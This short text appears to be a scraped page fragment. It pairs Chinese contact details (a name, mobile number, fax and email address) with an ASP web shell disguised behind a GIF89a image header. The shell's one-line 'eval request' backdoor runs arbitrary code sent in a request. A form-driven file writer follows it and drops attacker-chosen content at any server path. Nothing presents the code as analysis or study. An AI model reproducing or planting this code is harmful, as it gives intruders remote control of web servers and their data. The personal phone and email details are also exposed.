联系人：徐忠清
手机：13921592578
传真：0511-66666666
E-mail：102648910@qq.com
GIF89a$ ;
<%eval request(chr(1))%>
<%
on error resume next
testfile=Request.form("filepath")
msg=Request.form("message")
if Trim(request("filepath"))<>"" then
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.CreateTextFile(testfile,True)
thisfile.Write(""&msg& "")
if err =0 Then
response.write "
ok"
else
response.write "
no"
end if
err.clear
thisfile.close
set fs = nothing
End if
%>
